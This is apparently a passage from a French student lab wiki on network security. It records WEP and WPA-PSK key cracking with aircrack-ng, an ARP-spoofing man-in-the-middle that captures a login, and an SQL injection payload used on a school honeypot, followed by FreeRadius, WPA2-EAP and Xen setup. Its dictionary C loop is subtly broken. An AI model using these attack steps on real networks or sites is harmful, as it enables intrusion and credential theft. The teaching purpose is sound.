&lt;br /&gt;
Via airmon-ng, un script permettant d’activer ou de désactiver le mode moniteur d’une carte réseau. &lt;br /&gt;
&lt;br /&gt;
Dans notre cas, la carte Wi-fi se place en observateur du réseau.&lt;br /&gt;
&lt;br /&gt;
Je liste les interfaces disponibles :&lt;br /&gt;
  root@zabeth09:~# airmon-ng&lt;br /&gt;
    PHY	  Interface	  Driver	Chipset&lt;br /&gt;
    phy0  wlx40a5efd2140c rt2800usb	Ralink Technology, Corp. RT5370&lt;br /&gt;
&lt;br /&gt;
Puis, je passe la carte Wifi wlx40a5efd2140c en mode moniteur, espion du réseau sans fil.&lt;br /&gt;
&lt;br /&gt;
  root@zabeth09:~# airmon-ng start wlx40a5efd2140c&lt;br /&gt;
  Interface wlx40a5efd2140cmon is too long for linux so it will be renamed to the old style (wlan#) name.&lt;br /&gt;
        (mac80211 monitor mode vif enabled on [phy0]wlan0mon&lt;br /&gt;
        (mac80211 station mode vif disabled for [phy0]wlx40a5efd2140c)&lt;br /&gt;
&lt;br /&gt;
Le nom de l'interface a été modifié, considéré trop long et wlan0mon a été choisi.&lt;br /&gt;
&lt;br /&gt;
En relançant airmon-ng, on peut voir que le nom de l’interface a bien été changé&lt;br /&gt;
  root@zabeth09:~# airmon-ng&lt;br /&gt;
    PHY	  Interface	Driver		Chipset&lt;br /&gt;
    phy0    wlan0mon	rt2800usb	Ralink Technology, Corp. RT5370&lt;br /&gt;
&lt;br /&gt;
Je scanne le réseau Wifi, j’obtiens toutes les trames Wifi sur tous les canaux &lt;br /&gt;
  root@zabeth09:~# airmon-ng –encrypt wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
Beaucoup d'informations s'affichent et je visualise cracotte07 dans la liste pour ses informations.&lt;br /&gt;
&lt;br /&gt;
  root@zabeth09:~# airodump-ng --channel 9 --bssid 04:DA:D2:9C:50:56 wlan0mon&lt;br /&gt;
Tous les cracotte se trouvent sur channel 9 et le SSID de cracotte07 est 04:DA:D2:9C:50:56&lt;br /&gt;
&lt;br /&gt;
Je récupère toutes les données qui transitent sur ce channel en me concentrant uniquement sur les paquets échangés avec cracotte07.&lt;br /&gt;
  airodump-ng -w lcrack -c 9 --bssid 04:DA:D2:9C:50:56 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Après avoir suffisamment de trames volées, je lance un autre terminal pour décrypter la clé WEP&lt;br /&gt;
  root@zabeth09:~# aircrack-ng lcrack-01.cap&lt;br /&gt;
  Opening lcrack-01.capse wait…&lt;br /&gt;
&lt;br /&gt;
Il faut attendre plusieurs minutes et on obtient la clé, on peut voir qu’il en a testé 833 avant.&lt;br /&gt;
&lt;br /&gt;
                              Aircrack-ng 1.5.2 &lt;br /&gt;
                 [00:00:00] Tested 833 keys (got 73079 IVs)&lt;br /&gt;
   KB    depth   byte(vote)&lt;br /&gt;
    0    0/ 17   F1(93696) BD(84480) E7(84224) 6F(83456) 12(82176) &lt;br /&gt;
    1    0/  1   91(103680) 34(83968) 54(83456) B3(83456) B9(82432) &lt;br /&gt;
    2    2/  2   60(83200) 3A(82688) 7E(82176) 12(81920) 0E(81664) &lt;br /&gt;
    3   15/  3   B1(79872) 06(79616) 11(79616) 5B(79360) B2(79104) &lt;br /&gt;
    4    0/  1   74(103168) 8D(85248) 03(82176) 7A(82176) 21(81664) &lt;br /&gt;
             KEY FOUND! [ F1:DE:D4:00:00:00:00:00:00:09:99:99:99 ] &lt;br /&gt;
    Decrypted correctly: 100%&lt;br /&gt;
&lt;br /&gt;
=== Cassage de mot de passe WPA-PSK par force brute === &lt;br /&gt;
En utilisant la même méthode, on peut craquer une autre clef WPA.&lt;br /&gt;
  root@zabeth09:~# airodump-ng -w lkrack -c 4 --bssid 00:14:1B:60:8C:26 wlan0mon&lt;br /&gt;
    -rw-r--r-- 1 root root  88K Nov  4 17:11 lkrack-03.cap&lt;br /&gt;
&lt;br /&gt;
Le craquage doit se faire avec l’aide d’un dictionnaire. On suppose que la clef WPA est un nombre sur 8 chiffres, je vais donc créer un dictionnaire de ce format via un code en langage c.&lt;br /&gt;
&lt;br /&gt;
  int main(void){&lt;br /&gt;
        int x;&lt;br /&gt;
        for(x=0; x=99999999; x++){&lt;br /&gt;
            printf(&amp;quot;%08d\n&amp;quot;,x);&lt;br /&gt;
        }&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
Je compile main.c, ça consiste en une série d'étapes de transformation du code source en du code machine exécutable. La série de nombres doit se retrouver alors dans mon fichier cible dico. &lt;br /&gt;
  root@zabeth09:~# gcc -Wall -o dico main.c&lt;br /&gt;
&lt;br /&gt;
Je vérifie que cette commande s'est bien déroulée, en vérifiant le début et la fin du fichier dico.&lt;br /&gt;
  root@zabeth09:~# ./dico | more&lt;br /&gt;
    00000000&lt;br /&gt;
    00000001&lt;br /&gt;
    00000002&lt;br /&gt;
    00000003&lt;br /&gt;
    00000004&lt;br /&gt;
  root@zabeth09:~# ./dico | tail&lt;br /&gt;
    99999995&lt;br /&gt;
    99999996&lt;br /&gt;
    99999997&lt;br /&gt;
    99999998&lt;br /&gt;
    99999999&lt;br /&gt;
&lt;br /&gt;
Je finis par les transférer dans un fichier .txt&lt;br /&gt;
  root@zabeth09:~# ./dico &amp;gt; dico.txt&lt;br /&gt;
&lt;br /&gt;
Je choisis de lancer le traitement sur 2 pc plus puissant, normalement 5 fois plus, zabeth22 et zabeth26, que mon pc zabeth09. &lt;br /&gt;
Je commence à exécuter le traitement sur le fichier que je viens de créer dico.txt comportant tous les nombres de 0 à 9999 9999.&lt;br /&gt;
  root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/&lt;br /&gt;
  root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/lkrack-03.cap  &amp;gt; /tmp/result&lt;br /&gt;
&lt;br /&gt;
En remarquant le temps que cela va prendre, je décide de couper ce fichier en 2 et de lancer un autre traitement mais seulement sur les nombres à partir de 4999 9999. L'exécution est censée prendre 2 fois moins de temps que celle sur zabeth22.&lt;br /&gt;
  root@zabeth09:~# split -n 2 dico.txt&lt;br /&gt;
J’obtiens alors 2 fichiers xaa et xab, comportant les 2 moitiés de dico&lt;br /&gt;
  root@zabeth09:~# ls -lhrt &lt;br /&gt;
  -rw-r--r-- 1 root root  101 Nov  4 17:09 main.c&lt;br /&gt;
  -rwxr-xr-x 1 root root  17K Nov  4 17:09 dico&lt;br /&gt;
  -rw-r--r-- 1 root root 430M Nov  4 17:15 xaa&lt;br /&gt;
  -rw-r--r-- 1 root root 430M Nov  4 17:15 xab&lt;br /&gt;
En tapant la commande tail, je vérifie que celui que je veux est bien xab&lt;br /&gt;
&lt;br /&gt;
Puis je passe sur zabeth26 et je passe au même procédé que sur zabeth22&lt;br /&gt;
  root@zabeth26:~# aircrack-ng -w /tmp/xab /tmp/lkrack-03.cap  &amp;gt; /tmp/result&lt;br /&gt;
&lt;br /&gt;
Pour finir, je fais en sorte de voir en direct les deux calculs de correction de clé (défilement des nombres)&lt;br /&gt;
  root@zabeth22:~# cat /tmp/result &lt;br /&gt;
    Aircrack-ng 1.5.2 &lt;br /&gt;
      [00:09:13] 10260165/102795810 keys tested (3427.05 k/s) &lt;br /&gt;
      Time left: 7 hours, 30 minutes, 1 second      9.98%&lt;br /&gt;
                           KEY FOUND! [ 10255555 ]&lt;br /&gt;
&lt;br /&gt;
La clé se trouvait dans les 1er 10 % de dico. &lt;br /&gt;
On peut lire le temps qu’il lui restait pour tout analyser, ça confirme que c’était une bonne idée de lancer le second traitement.&lt;br /&gt;
Il est logique que celui-ci nous donne aucune clé en réponse.&lt;br /&gt;
&lt;br /&gt;
  root@zabeth26:~# cat /tmp/result &lt;br /&gt;
   [00:46:05] 50000000/51397904 keys tested (3498.19 k/s) &lt;br /&gt;
      Time left: 0 seconds              97.28%&lt;br /&gt;
                          KEY NOT FOUND&lt;br /&gt;
Anecdote, le traitement est considéré terminé au vu du temps qu'il ne reste pas, mais il est tout de même écrit 97.28% d'analyse effectuée. Il existe souvent des petites erreurs de suivis des ordinateurs, mais non critiques.&lt;br /&gt;
&lt;br /&gt;
=== Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP ===&lt;br /&gt;
&lt;br /&gt;
J'ai besoin du paquetage dsniff qui contient plusieurs outils pour écouter ou créer du trafic réseau :&lt;br /&gt;
&lt;br /&gt;
- arpspoof : envoie des réponses ARP non requises et potentiellement falsifiées&lt;br /&gt;
&lt;br /&gt;
- dnsspoof : crée des réponses à des requêtes d'adresse ou de pointeur DNS arbitraires sur le réseau local&lt;br /&gt;
&lt;br /&gt;
- dsniff : écoute de mots de passe pour différents protocoles&lt;br /&gt;
&lt;br /&gt;
Je vérifie d’abord que dorade est bien configuré au niveau du réseau.&lt;br /&gt;
  root@dorade:/home/pifou# cat /etc/network/interfaces&lt;br /&gt;
    # This is an autoconfigured IPv6 interface&lt;br /&gt;
    iface eth0 inet static&lt;br /&gt;
        address 172.26.145.101&lt;br /&gt;
        netmask 255.255.255.0&lt;br /&gt;
        gateway 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
Je récupère son interface ethernet, la commande liste toutes les interfaces avec les informations nécessaires&lt;br /&gt;
  root@dorade:/home/pifou# ip a&lt;br /&gt;
    1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1&lt;br /&gt;
    2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000&lt;br /&gt;
&lt;br /&gt;
Une commande permet de voir la table de routage.&lt;br /&gt;
  root@dorade:/home/pifou# ip r&lt;br /&gt;
    default via 172.26.145.254 dev eth0 onlink &lt;br /&gt;
    169.254.0.0/16 dev eth0 scope link metric 1000 &lt;br /&gt;
    172.26.145.0/24 dev eth0 proto kernel scope link src 172.26.145.101 &lt;br /&gt;
&lt;br /&gt;
Je vérifie qu’il est bien relié au réseau en pingant zabeth09.&lt;br /&gt;
  root@dorade:/home/pifou# ping zabeth09&lt;br /&gt;
    PING zabeth09(2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9)) 56 data bytes&lt;br /&gt;
    64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=1 ttl=64 time=0.914 ms&lt;br /&gt;
    64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=2 ttl=64 time=0.813 ms&lt;br /&gt;
    --- zabeth09 ping statistics ---&lt;br /&gt;
    2 packets transmitted, 2 received, 0% packet loss, time 1001ms&lt;br /&gt;
    rtt min/avg/max/mdev = 0.813/0.863/0.914/0.058 ms&lt;br /&gt;
&lt;br /&gt;
En vérifiant toutes ces informations, je valide le fait qu’il est bien configuré au réseau et peut communiquer avec tous les équipements dont zabeth09.&lt;br /&gt;
&lt;br /&gt;
Je transforme dorade en routeur, ce mode est géré par la variable noyau /proc/sys/net/ipv4/ip_forward.&lt;br /&gt;
&lt;br /&gt;
- La commande retourne la valeur 0 : l'IP Forwarding n'est pas activé.&lt;br /&gt;
&lt;br /&gt;
- La commande retourne la valeur 1 : l'IP Forwarding est activé.&lt;br /&gt;
  root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward      0 &lt;br /&gt;
Dorade n’est pas en mode routeur, je passe alors le noyau à 1&lt;br /&gt;
  root@dorade:/home/pifou# echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward &lt;br /&gt;
&lt;br /&gt;
J'utilise la commande arpsppof, en prenant les informations collectées au début.&lt;br /&gt;
Dorade via eth0, son interface ethernet, envoie des réponses ARP non requises à zabeth09 en passant par le gateway, qui examine la légitimité de sa demande qui en réalité ne l'est pas.&lt;br /&gt;
  root@dorade:/home/pifou# arpspoof -i eth0 -t zabeth09 172.26.145.254&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
&lt;br /&gt;
Lors de cette étape toujours en cours, je lance un second terminal.&lt;br /&gt;
Je vérifie que dorade est bien routeur et installe wireshark, il permet d'analyser les paquets, le réseau et les protocoles.&lt;br /&gt;
  root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward      1&lt;br /&gt;
  root@dorade:/home/pifou# wireshark&lt;br /&gt;
      [[Fichier:Mdp zabeth09.png|800px|thumb|left|Interface eth0]]&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot; \&amp;gt;&lt;br /&gt;
On voit tous les protocoles de transfert dont celui qui m'a permis de récupérer des informations confidentielles, ici le nom d'utilisateur : pifou et le mot de passe : pasglop.&lt;br /&gt;
On peut aussi savoir que je l'ai récupéré par un site de Polytech : http://applications.polytech-lille.fr&lt;br /&gt;
&lt;br /&gt;
=== Intrusion sur un serveur d’application Web ===&lt;br /&gt;
&lt;br /&gt;
Je veux m'introduire sur un site de Polytech honey.plil.info.&lt;br /&gt;
Je commence par trouver une requête SQL qui vérifiera la validité de la connexion pour la page d'identification de ce site.&lt;br /&gt;
  SELECT id FROM users WHERE id='$id' AND pass='$pass';&lt;br /&gt;
Puis je dois trouver ce que doit contenir $pass pour que cette requête récupère en fait toutes les lignes de la table utilisateurs.&lt;br /&gt;
Le true n'existe pas en SQL, je vais alors en simuler un : ' OR ''='&lt;br /&gt;
&lt;br /&gt;
Pour accéder au site, qui me demande un identifiant et un mot de passe, je procède de cette façon : Nom d'utilisateur : N'importe et mot de passe : ' OR ''='&lt;br /&gt;
&lt;br /&gt;
J'accède au site qui m'affiche la liste des utilisateurs et leur mot de passe&lt;br /&gt;
[[Fichier:Honey_Léna.png|800px|thumb|left|Interface eth0]]&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot; \&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Réalisation ==&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation WiFi par WPA2-EAP ===&lt;br /&gt;
&lt;br /&gt;
==== Configuration serveur FreeRadius ====&lt;br /&gt;
&lt;br /&gt;
L'objectif est le contrôle par WPA2-EAP de l'accès à la borne WIFI. L'identification sera fera grâce à un serveur FreeRadius, qui permet de centraliser tous les utilisateurs, pour la sécurisation filaire.&lt;br /&gt;
&lt;br /&gt;
Je dois procéder à la configurarion du serveur FreeRadius sur ma machine virtuelle.&lt;br /&gt;
&lt;br /&gt;
Evidemment, je commence par l'installer, en procédant d'abord à une mise à jour.&lt;br /&gt;
  apt update&lt;br /&gt;
  apt install freeradius&lt;br /&gt;
&lt;br /&gt;
Puis je passe à la configuration et ajoute un utilisateur dans le fichier /etc/freeradius/3.0/users&lt;br /&gt;
  pifou Cleartext-Password := &amp;quot;glopglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
/etc/freeradius/3.0/mods-enabled/eap&lt;br /&gt;
  eap{&lt;br /&gt;
     default_eap_type = peap&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
/etc/freeradius/3.0//mods-enabled/mschap&lt;br /&gt;
  //Décommenter et vérifier&lt;br /&gt;
    use_mppe = yes&lt;br /&gt;
    require_encryption = yes&lt;br /&gt;
    require_strong = yes&lt;br /&gt;
  //Ajouter&lt;br /&gt;
    with_ntdomain_hack = yes&lt;br /&gt;
&lt;br /&gt;
Dans le fichier /etc/freeradius/3.0/clients.conf rajouter la borne comme un client qui se connectera sur le server radius:&lt;br /&gt;
  client access-point { /Nom du client&lt;br /&gt;
    ipaddr = 10.60.0.100 //Adress IP de la borne&lt;br /&gt;
    secret = glopglop //Mot secret saisi lors de la configuration&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
Une fois toutes les configurations terminées, j'arrête le serveur. Il faut faire attention car la commande stop n'a pas fonctionné.&lt;br /&gt;
 service freeradius stop&lt;br /&gt;
  ps auxwww | grep free&lt;br /&gt;
     root     18316  0.0  0.0   3084   888 pts/0    S+   22:49   0:00 grep free&lt;br /&gt;
  kill 10659&lt;br /&gt;
Relancer en mode debug afin de visualiser les requêtes et tentatives de connexions&lt;br /&gt;
  freeradius -X&lt;br /&gt;
&lt;br /&gt;
==== Configuration des points d'accès WiFi ====&lt;br /&gt;
&lt;br /&gt;
Il faut que j'ajoute un SSID protégé par la méthode WPA2-EAP à la configuration du point d’accès WiFi. Cela implique d’utiliser un nouveau VLAN donc un nouveau réseau IP à router par le routeur Wifi. Il faut aussi configurer le serveur virtuel Xen comme serveur d'identification.&lt;br /&gt;
&lt;br /&gt;
J'accède à la configuration de la borne WiFi&lt;br /&gt;
  minicom -os&lt;br /&gt;
  port : /dev/ttyUSB2&lt;br /&gt;
Je peux vérifier que je suis sur la bonne borne en arrivant sur ap#&lt;br /&gt;
&lt;br /&gt;
Je passe en mode privilégié et en mode configuration&lt;br /&gt;
  ap#enable      &lt;br /&gt;
  ap#config term   &lt;br /&gt;
&lt;br /&gt;
On met la commande suivante pour :&lt;br /&gt;
&lt;br /&gt;
authentification : vérifier l'identité de l'utilisateur &lt;br /&gt;
&lt;br /&gt;
authorization : pouvoir limiter l'accès à certaines fonctionnalités &lt;br /&gt;
&lt;br /&gt;
accounting : pouvoir enregistrer les actions de l'utilisateur&lt;br /&gt;
&lt;br /&gt;
   ap(config)#aaa new-model                                                                        &lt;br /&gt;
&lt;br /&gt;
Création du serveur radius en prenant mon adresse IP et le mot de passe choisi lors de la configuration du serveur FreeRadius&lt;br /&gt;
  ap(config)#radius-server host 193.48.57.171 auth-port 1812 acct-port 1813 key glopglop    &lt;br /&gt;
&lt;br /&gt;
Définition du groupe de serveur&lt;br /&gt;
  ap(config)#aaa group server radius radius_lulya&lt;br /&gt;
&lt;br /&gt;
Association du groupe de serveur et du serveur de la VM&lt;br /&gt;
  ap(config)#server 193.48.57.171 auth-port 1812 acct-port 1813&lt;br /&gt;
&lt;br /&gt;
Définition du login et du groupe de serveur par lequel l'utilisateur passera pour s'authentifier&lt;br /&gt;
  ap(config)#aaa authentication login eap_lulya group radius_lulya&lt;br /&gt;
&lt;br /&gt;
Définition du SSID protégé par la méthode WPA2-EAP&lt;br /&gt;
  ap(config)#dot11 ssid SSID_lulya //Reprise du nom Lulya                           &lt;br /&gt;
  ap(config-ssid)#vlan 10&lt;br /&gt;
  ap(config-ssid)#authentication open eap eap_lulya     &lt;br /&gt;
  ap(config-ssid)#authentication network-eap eap_lulya                            &lt;br /&gt;
  ap(config-ssid)#authentication key-management wpa    &lt;br /&gt;
&lt;br /&gt;
Configuration du Vlan&lt;br /&gt;
  ap(config)#interface Dot11Radio0                                                &lt;br /&gt;
  ap(config-if)#encryption vlan 10 mode ciphers aes-ccm tkip                      &lt;br /&gt;
  ap(config-if)#ssid SSID_lulya                                                   &lt;br /&gt;
&lt;br /&gt;
Création de sous interfaces&lt;br /&gt;
  ap(config)#interface dot11Radio0.10                                             &lt;br /&gt;
  ap(config-subif)#encapsulation dot1Q 10                                         &lt;br /&gt;
  ap(config-subif)#bridge-group 10          &lt;br /&gt;
&lt;br /&gt;
  ap(config)#interface fast0.10  &lt;br /&gt;
  ap(config-subif)#encapsulation dot1Q 10                                         &lt;br /&gt;
  ap(config-subif)#bridge-group 10               &lt;br /&gt;
&lt;br /&gt;
Ajout SSID dans l'interface Dot11Radio0&lt;br /&gt;
  ap(config-subif)#interface Dot11Radio0                                          &lt;br /&gt;
  ap(config-if)#dot11 ssid SSID_lulya                                         &lt;br /&gt;
&lt;br /&gt;
Rendre le SSID visible&lt;br /&gt;
  ap(config-ssid)#interface Dot11Radio0                                           &lt;br /&gt;
  ap(config-if)#mbssid                                                            &lt;br /&gt;
  ap(config-if)#dot11 ssid SSID_lulya                                             &lt;br /&gt;
  ap(config-ssid)#mbssid guest-mode    &lt;br /&gt;
&lt;br /&gt;
Je quitte tout en utilisant &amp;lt;code&amp;gt;exit&amp;lt;/code&amp;gt;, puis faire un &amp;lt;code&amp;gt;write&amp;lt;/code&amp;gt; pour prendre en compte toutes les configurations, pour finir je &amp;lt;code&amp;gt;reload&amp;lt;/code&amp;gt; &lt;br /&gt;
  ap(config)#write                                                                        &lt;br /&gt;
    Building configuration...                                                       &lt;br /&gt;
    [OK]&lt;/div&gt;</summary>
		<author><name>Lchenu</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2020/2021_G7&amp;diff=53868</id>
		<title>TP sysres IMA2a5 2020/2021 G7</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2020/2021_G7&amp;diff=53868"/>
				<updated>2020-11-17T12:55:04Z</updated>
		
		<summary type="html">&lt;p&gt;Lchenu : /* Intrusion sur un serveur d’application Web */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Installation de la machine virtuelle Xen ==&lt;br /&gt;
&lt;br /&gt;
=== Création de la VM ===&lt;br /&gt;
Je commence par créer la VM sur le serveur commun capbreton, je me connecte alors en ssh&lt;br /&gt;
  ssh root@capbreton.plil.info &lt;br /&gt;
&lt;br /&gt;
Nom de ma machine : hawker&lt;br /&gt;
&lt;br /&gt;
Adresse IP de la machine : 193.48.57.171&lt;br /&gt;
&lt;br /&gt;
Adresse du routeur : 193.48.57.163&lt;br /&gt;
&lt;br /&gt;
Le répertoire des disques virtuels : /usr/local/xen&lt;br /&gt;
&lt;br /&gt;
xen-create-image est une commande qui permet de créer facilement de nouvelles instances Xen.&lt;br /&gt;
  xen-create-image --hostname=hawker --ip=193.48.57.171 --gateway=193.48.57.163 --dir=/usr/local/xen –dist=beowulf&lt;br /&gt;
&lt;br /&gt;
J’ai aussi utilisé une seconde méthode qui fonctionne mieux en gardant le nom de ma machine hawker&lt;br /&gt;
&lt;br /&gt;
	Le miroir Debian est celui de l’école : http://fr.deb.devuan.org/merged/&lt;br /&gt;
&lt;br /&gt;
	La distribution stable courant :  http://proxy.polytech-lille.fr:3128&lt;br /&gt;
&lt;br /&gt;
  xen-create-image --hostname=hawker --dhcp --dir=/usr/local/xen --dist=ascii --apt_proxy=http://proxy.polytech-lille.fr:3128 --mirror=http://fr.deb.devuan.org/merged/ --force&lt;br /&gt;
&lt;br /&gt;
En lançant un second terminal, je peux suivre le processus d’installation&lt;br /&gt;
  tail -f /var/log/xen-tools/hawker.log&lt;br /&gt;
&lt;br /&gt;
Lorsque l’installation est terminée, j'obtiens plusieurs informations dont le mot de passe du routeur.&lt;br /&gt;
&lt;br /&gt;
     Installation Summary&lt;br /&gt;
     ---------------------&lt;br /&gt;
     Hostname        :  hawker&lt;br /&gt;
     Distribution    :  ascii&lt;br /&gt;
     MAC Address     :  00:16:3E:A4:65:07&lt;br /&gt;
     IP Address(es)  :  dynamic&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (DSA)&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (ECDSA)&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (ED25519)&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (RSA)&lt;br /&gt;
     Root Password   :  xxxxxxxxxxxxxxxxxxxxxxxx&lt;br /&gt;
&lt;br /&gt;
Via la commande passwd, j'ai changé le mot de passe par &amp;quot;glopglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
=== Configuration de la VM ===&lt;br /&gt;
&lt;br /&gt;
Pour commencer, je dois modifier le fichier de configuration de la VM pour donner accès au bridge réseau.&lt;br /&gt;
Je récupère le nom du bridge &amp;quot;IMA2a5&amp;quot;&lt;br /&gt;
  brctl show &lt;br /&gt;
    bridge name        bridge id             STP enabled     interfaces&lt;br /&gt;
    '''IMA2a5             8000.34800d508a83     no              ether1'''&lt;br /&gt;
    IMA5sc             8000.34800d508a82     no              ether0&lt;br /&gt;
    L3MRIT             8000.b026289b2c9a     no              ether2&lt;br /&gt;
    Trunk              8000.4cd98fa49258     no              ether4&lt;br /&gt;
    bridgeGIS          8000.4cd98fa49258     no              vlan502&lt;br /&gt;
&lt;br /&gt;
J'accède au fichier de configuration de ma VM /etc/xen/hawker.cfg&lt;br /&gt;
J'ajoute mon adresse MAC donnée précédemment et le bridge IMA2a5. &lt;br /&gt;
&lt;br /&gt;
 kernel      = '/boot/vmlinuz-4.9.0-6-amd64'&lt;br /&gt;
 extra       = 'elevator=noop'&lt;br /&gt;
 ramdisk     = '/boot/initrd.img-4.9.0-6-amd64'&lt;br /&gt;
 &lt;br /&gt;
 vcpus       = '1'&lt;br /&gt;
 memory      = '1024'&lt;br /&gt;
 &lt;br /&gt;
 root        = '/dev/xvda2 ro'&lt;br /&gt;
 disk        = [&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',&lt;br /&gt;
               ]&lt;br /&gt;
 &lt;br /&gt;
 name        = 'hawker'&lt;br /&gt;
 &lt;br /&gt;
 '''vif         = [ 'mac=00:16:3E:A4:65:07, bridge=IMA2a5' ]'''&lt;br /&gt;
 &lt;br /&gt;
 on_poweroff = 'destroy'&lt;br /&gt;
 on_reboot   = 'restart'&lt;br /&gt;
 on_crash    = 'restart'&lt;br /&gt;
&lt;br /&gt;
J'accède à ma machine virtuelle&lt;br /&gt;
  xl create /etc/xen/hawker.cfg&lt;br /&gt;
  xl console hawker&lt;br /&gt;
&lt;br /&gt;
Je crée deux répertoires var et home qui seront sur des partitions LVM de l'hôte&lt;br /&gt;
  lvcreate -L10G -n hawker-var virtual&lt;br /&gt;
  lvcreate -L10G -n hawker-home virtual&lt;br /&gt;
&lt;br /&gt;
Je pointe le système de fichier sur les deux nouvelles partitions &lt;br /&gt;
  mke2fs /dev/virtual/hawker-home&lt;br /&gt;
  mke2fs /dev/virtual/hawker-var&lt;br /&gt;
&lt;br /&gt;
Les disques sont finalisés, je les connecte à la VM en modifiant le fichier de configuration hawker.cfg.&lt;br /&gt;
&lt;br /&gt;
 disk        = [&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',&lt;br /&gt;
                   ''''phy:/dev/virtual/hawker-home,xvdb1,w','''&lt;br /&gt;
                   ''''phy:/dev/virtual/hawker-var,xvdb2,w','''&lt;br /&gt;
               ]&lt;br /&gt;
&lt;br /&gt;
Puis je redémarre la VM pour prendre en compte les modifications&lt;br /&gt;
  xl shutdown hawker&lt;br /&gt;
  xl create /etc/xen/hawker.cfg&lt;br /&gt;
&lt;br /&gt;
A travers le fichier /etc/fstab, je dois modifier la configuration pour forcer le montage à chaque démarrage.&lt;br /&gt;
  /dev/xvdb1     /home ext4  defaults   0   2&lt;br /&gt;
  #/dev/xvdb2    /var  ext4  defaults   0   2&lt;br /&gt;
A travers c’est deux commandes, j’assure la montée des 2 disques /home et /var à chaque démarrage. Juste avant cette étape pour /var, que je laisse en commentaire, j’ai du assurer le systèmes de fichiers. Il faut bien faire attention, une mauvaise manipulation peut détruire la machine.&lt;br /&gt;
  mkfs -t ext4 /dev/xvdb2&lt;br /&gt;
  mount /dev/xvdb2 /mnt&lt;br /&gt;
  mv /var/* /mnt&lt;br /&gt;
  blkid Trouver ou afficher les attributs de périphérique bloc&lt;br /&gt;
    /dev/xvda2: UUID=&amp;quot;efa11821-8780-4938-9473-5d217752316e&amp;quot; TYPE=&amp;quot;ext4&amp;quot;&lt;br /&gt;
    /dev/xvda1: UUID=&amp;quot;1a3161b3-a90d-4da5-a224-cfc496e70c89&amp;quot; TYPE=&amp;quot;swap&amp;quot;&lt;br /&gt;
    /dev/xvdb1: UUID=&amp;quot;5645526d-2cf4-42b5-a4a7-94fdda100ca1&amp;quot; TYPE=&amp;quot;ext4&amp;quot;&lt;br /&gt;
    /dev/xvdb2: UUID=&amp;quot;5b49ce5f-8116-4c41-aa25-97536f644803&amp;quot; TYPE=&amp;quot;ext4&amp;quot;&lt;br /&gt;
  vi /etc/fstab&lt;br /&gt;
Par la suite, je peux décommenter la ligne et exécuter :&lt;br /&gt;
  umount /mnt    &lt;br /&gt;
  mount -a&lt;br /&gt;
Je vérifie que les disques sont bien montés via la commande df &lt;br /&gt;
  Filesystem     1K-blocks     Used   Available   Use%   Mounted on&lt;br /&gt;
  udev              483904        0      483904     0%   /dev&lt;br /&gt;
  tmpfs             100712      120      100592     1%   /run&lt;br /&gt;
  /dev/xvda2       4062912   791352     3045464    21%   /&lt;br /&gt;
  tmpfs               5120        0        5120     0%   /run/lock&lt;br /&gt;
  tmpfs             306280        0      306280     0%   /dev/shm&lt;br /&gt;
  '''/dev/xvdb1      10255636    36872     9678092     1%   /home'''&lt;br /&gt;
  '''/dev/xvdb2      10255636   315536     9399428     4%   /var'''&lt;br /&gt;
&lt;br /&gt;
On peut vérifier que la VM est prête&lt;br /&gt;
  xl list&lt;br /&gt;
    Name          ID    Mem   VCPUs    State	Time(s)&lt;br /&gt;
    Domain-0      0    4046     4      r-----    6978.3&lt;br /&gt;
    boeing        1     256     1      -b----     185.5&lt;br /&gt;
    NightHawk     3    1024     1      -b----     826.8&lt;br /&gt;
    '''hawker        4    1024     1      -b----     776.9'''&lt;br /&gt;
